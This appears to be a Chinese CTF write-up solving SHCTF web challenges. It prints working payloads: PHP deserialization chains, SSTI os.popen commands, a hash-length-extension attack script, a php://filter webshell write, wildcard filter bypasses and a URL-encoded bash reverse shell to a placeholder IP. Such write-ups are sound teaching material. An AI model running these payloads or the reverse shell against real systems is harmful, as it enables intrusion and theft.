Web

[WEEK1]babyRCE

源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag

[WEEK1]飞机大战

源码js发现unicode编码

\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a

解码获得flag

[WEEK1]登录就给flag

这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

[WEEK1]生成你的邀请函吧~

使用POST json请求来生成你的邀请函

直接用脚本就行了

import requests

from PIL import Image

import io



url = "http://112.6.51.212:30908/generate_invitation"



data = {

   "name": "C_yi",

   "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"

}



response = requests.post(url, json=data, verify=False)



# 获取返回的图片内容

image_content = response.content



# 创建一个PIL的Image对象

image = Image.open(io.BytesIO(image_content))



# 保存图片

image.save("avatar.jpg")

然后搜索avatar.jpg

得到flag

[WEEK1]ez_serialize

<?php

highlight_file(__FILE__);



class A{

  public $var_1;

  

  public function __invoke(){

   include($this->var_1);

  }

}



class B{

  public $q;

  public function __wakeup()

{

  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {

            echo "hacker";           

        }

}



}

class C{

  public $var;

  public $z;

    public function __toString(){

        return $this->z->var;

    }

}



class D{

  public $p;

    public function __get($key){

        $function = $this->p;

        return $function();

    }  

}



if(isset($_GET['payload']))

{

    unserialize($_GET['payload']);

}

?>

代码审计

我们反推把 首先看输出点为include()函数

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发

所以构造最终的代码

<?php

class A{

  public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';



}



class B{

  public $q;





}

class C{

  public $var;

  public $z;



}



class D{

  public $p;



}

$b = new B();

$c = new C();

$b->q = $c;

$d = new D();

$c->z = $d;

$d->p = new A();

var_dump(serialize($b))

?>

Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

然后base64解码就得到falg了

[WEEK1]1zzphp

这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了

所以也没啥难的 按照下面这个自己调试就饿可以了

我的是

import requests

url="http://112.6.51.212:32191/?num[]=1"

data={

'c[ode':'very'*250000+'2023SHCTF'

}

r=requests.post(url,data=data)

print(r.text)

[WEEK1]ezphp

这道题的考点就是研究preg_replace \e模式下的代码执行

可以看这篇文章

深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客

深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客

因为这道题的phpinfo()和大括号没被过滤

所以可以利用

题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行

那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern  code传入

原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);

变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

所以得到flag了

[WEEK2]no_wake_up

又是一道简单的反序列化题

Exp:

<?php



class flag{

    public $username = "admin";

    public $code = "php://filter/read=convert.base64-encode/resource=flag.php";





}

$a = new flag();

echo serialize($a);

Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}

解码获得flag

[WEEK2]EasyCMS

考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取

需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

[WEEK2]ez_ssti

有点像ctfshow 里面的web361

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

[WEEK2]MD5的事就拜托了 

源代码

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

逐级分析代码;

if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));  
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }

这里的考点看下面一边文章就行 

 parse_url函数的解释和绕过-CSDN博客

我这里的构造为  可以得到md5加密的falg

SHCTF=host://SHCTF:pass@user/SHCTF 

分析下一段代码

if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }

考察intval()函数的绕过  网上搜下就懂了 然后可以得到flag的长度

?length=1.001

得到 md5加密的flag 和长度

 

再看下一段

if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
}

传入SHCTF不能等于md5加密的flag ,然后看向最后的if语句,直接网上搜md5($flag.urldecode($num)),可以搜到其考点为哈希拓展攻击。具体访问下面文章(挂个梯子)

hash-ext-attack攻击脚本

import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse

from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils


class HashExtAttack:
    """
    哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
    目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
    """

    def __init__(self):
        self.know_text = b""
        self.know_text_padding = b""
        self.new_text = b""
        self.rand_str = b''
        self.know_hash = b"3c5a36dd888251601d36bbc184648717"
        self.key_length = 15

    def _padding_msg(self):
        """填充明文"""
        logger.debug("填充明文")
        self.know_text_padding = md5_manual.padding_str(self.know_text)
        logger.debug(f"已知明文填充:{self.know_text_padding}")

    def _gen_new_plain_text(self):
        """生成新明文"""
        self.new_text = self.know_text_padding + self.rand_str  # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
        logger.debug(f"new_text: {self.new_text}")

    def split_hash(self, hash_str: bytes):
        by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
        return struct.unpack("<IIII", by_new)

    def _guess_new_hash(self) -> tuple:
        """生成新hash"""
        # 第一步先生成新的字符串
        # 对已知明文进行填充
        self._padding_msg()
        # 第二步 生成新明文
        self._gen_new_plain_text()
        # 第三步 生成新hash(基于已知hash进行计算)
        # 3.1 hash拆分成4个分组
        hash_block = self.split_hash(hash_str=self.know_hash)
        md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
        tmp_str = md5_manual.padding_str(self.new_text)
        logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
        logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
        md5_manual.solve(tmp_str[-64:])
        self.new_hash = md5_manual.hex_digest()

        return self.new_text, self.new_hash

    def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
        # self.know_text = input("请输入已知明文:")
        self.know_text = ("*" * key_len + know_text).encode()  # 密钥拼接
        self.know_hash = know_hash.encode()
        self.rand_str = rand_str.encode()

        self._guess_new_hash()
        logger.info(f"已知明文:{self.know_text[key_len:]}")
        logger.info(f"已知hash:{self.know_hash}")
        logger.debug(f"任意填充:{self.rand_str}")
        logger.info(f"新明文:{self.new_text[key_len:]}")
        logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
        # logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
        logger.info(f"新hash:{self.new_hash}")
        return self.new_text[key_len:], self.new_hash

    def input_run(self):
        time.sleep(0.2)
        self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
                 int(input("请输入密钥长度:")))

    def test(self):
        self.run(
            "order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
            "178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)


hash_ext_attack = HashExtAttack()

if __name__ == '__main__':

    logger.remove()
    logger.add(sys.stderr, level="INFO")
    hash_ext_attack.input_run()

 得到payload:

?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00ab
SHCTF=c4053dcc95bf563af279f7e4bb1f9e17

 

 得到flag

[WEEK2]ez_rce

用Kicky师傅的解法去复现吧

附件源码:

from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp,i)
    return tmp

def sett(obj,arg,num):
    tmp = obj
    for i in range(len(arg)-1):
        tmp = getattr(tmp,arg[i])
    setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
    c = gett(subprocess,giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess,giveme,tmp)

def cmd(arg):
    subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
    try:
        if request.args.get('exec')=='ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp,num,bol)
        return 'ok'
    except:
        return 'error'
    
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

考点需要本地调试 Subprocess Call

第一步进行构造进行污染

?num=7&bol=True

post:

{

"exp": ["Popen", "__init__", "__defaults__"]

}

修改 Content-Type: application/json

返回 ok 代表成功

第二步构造

/?

exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2

F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22
反弹 shell 获得 flag
官方wp:

Subprocess.call函数有一个参数shell,当shell为True时,执行命令时是/bin/sh -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell参数默认为false。

进入subprocess函数查看call函数

图片

可以看到实际上是调用的Popen类的函数,进入Popen看看

图片

可以看到构造参数中shell默认为false

函数的默认参数保存在defaults属性中

图片

通过查看得知shell参数的值在第7个,所以只需要修改7下标为True就可以执行任意命令了。

通过阅读代码,可以知道gett函数是通过遍历json获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值。

先修改shell参数,注意修改content-type

图片

下来命令执行

图片

图片

读flag即可

图片

图片

[WEEK2]serialize

这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久

js代码:

var arr = ["o123:", "c456:", "d789:"];

arr = arr.filter(function(element) {

  return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素

});

console.log(arr); // 输出: ["d789:"]

Pop链比较简单:wakeup()->get()->totring()

构造代码

<?php



class misca{

    public $gao;

    public $fei;

    public $a;





}

class musca{

    public $ding;

    public $dong;



}

class milaoshu{

    public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取



}



$m = new musca();

$m->ding = new misca(); //这个就是触发get魔术方法

$m->ding->gao = &$m->ding->a; //把gao赋值给a

$m->ding->fei = new milaoshu(); //触发tostring魔术方法

echo serialize(array($m)); //利用数组进行绕过正则匹配

Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}

解码获得flag

[WEEK3]快问快答

这种短时间内回答的题一看就是要脚本

根据源码写paylaod就行

import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求
   answer1 = {'answer': answer}
   response=requests.Session()
   response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
   return response

def parse_question(response):#用于计算答案
   html = response.text
   answer=0
   pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
   match = pattern.search(html)
   if match:
       question = match.group(1)
       numbers = re.findall(r"\d+", question)
       operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
       op=operation[0]
       if len(numbers) == 2:
           a = int(numbers[0])
           b = int(numbers[1])
           if op == "异或":
               answer = a ^ b
           if op == "与":
               answer = a & b
           if op == "-":
               answer = a - b
           if op == "+":
               answer = a + b
           if op == "x":
               answer = a * b
           if op == "÷":
               answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
           #print(question)
           #print(answer)
   else:
           print("找不到题目")
   return answer

url = "http://112.6.51.212:32776/"  # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
       time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间
       response = post_answer(url, headers, answer, cookie)
       print(response.text)#打印表单
       answer = parse_question(response)
       cookie = response.cookies

得到flag

[WEEK3]sseerriiaalliizzee

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off

出口函数 file_put_contents很简单的pop链 Start:__tostring()->CTF:dosomething()

考点就是无非是file_put_contents()

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功

那这里的考点就是file_put_contents利用技巧

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)

我们直接构造paylaod:

<?php eval('system("ls /");');  ?> 然后base64编码(?前面不加空格 就会编码变成+号)

PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==

然后

构造脚本

<?php
class Start{
    public $barking;
}

class CTF{
    public $part1;
    public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag

echo serialize($start);
?>

同理换成 cat /flag

Paylaod:

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

[WEEK3]gogogo

考点:go代码审计,session伪造,通配符绕过

这里先贴一个windows下运行go 安装使用

https://blog.csdn.net/qq_42313447/article/details/114403953

 下载源码得到三个路由

main.go

package main

import (
	"main/route"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/readflag", route.Readflag)
	r.Run("0.0.0.0:8000")
}

 分析一下,就是给了两个路由。

route.go

package route

import (
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"main/readfile"
	"net/http"
	"os"
	"regexp"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "User"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, User. How to become admin?")

}

func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")

		path := c.Query("filename")

		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

		if reg.MatchString(path) {

			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}

		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}

		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}

}

 我们分析一下下面这个index里面这个

 如果name为nil  接着就改为user

我们再看看readflag里面这个 就发现name要为admin 才能接下来的步骤

这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的

那我们可不可以伪造session? 让他成为admin呢 我们知道session的加密方式为

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

我们猜测环境没有设置session-key,本地搭环境得到session值去伪造 

 意思就是我们只要把route.go里面的 index改为admin就行

session.Values["name"] = "admin"

 然后go run .main.go

然后访问127.0.0.1:8000,对应的cookie即为admin

 最后就是readfile.go

package readfile

import (
	"os/exec"
)

func ReadFile(path string) (string2 []byte) {
	defer func() {
		panic_err := recover()
		if panic_err != nil {

		}
	}()
	cmd := exec.Command("bash", "-c", "strings  "+path)
	string2, err := cmd.Output()
	if err != nil {
		string2 = []byte("文件不存在")
	}
	return string2
}

 简单的读取文件,构造出读取文件的语句 ,我们还记得给了两个路由 我们访问readflag

然后看看过滤条件 

reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过 得到flag

?filename=/??a?

 

#filename=/bin/base /flag
filename=/???/?a??64%09/??a?


 

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐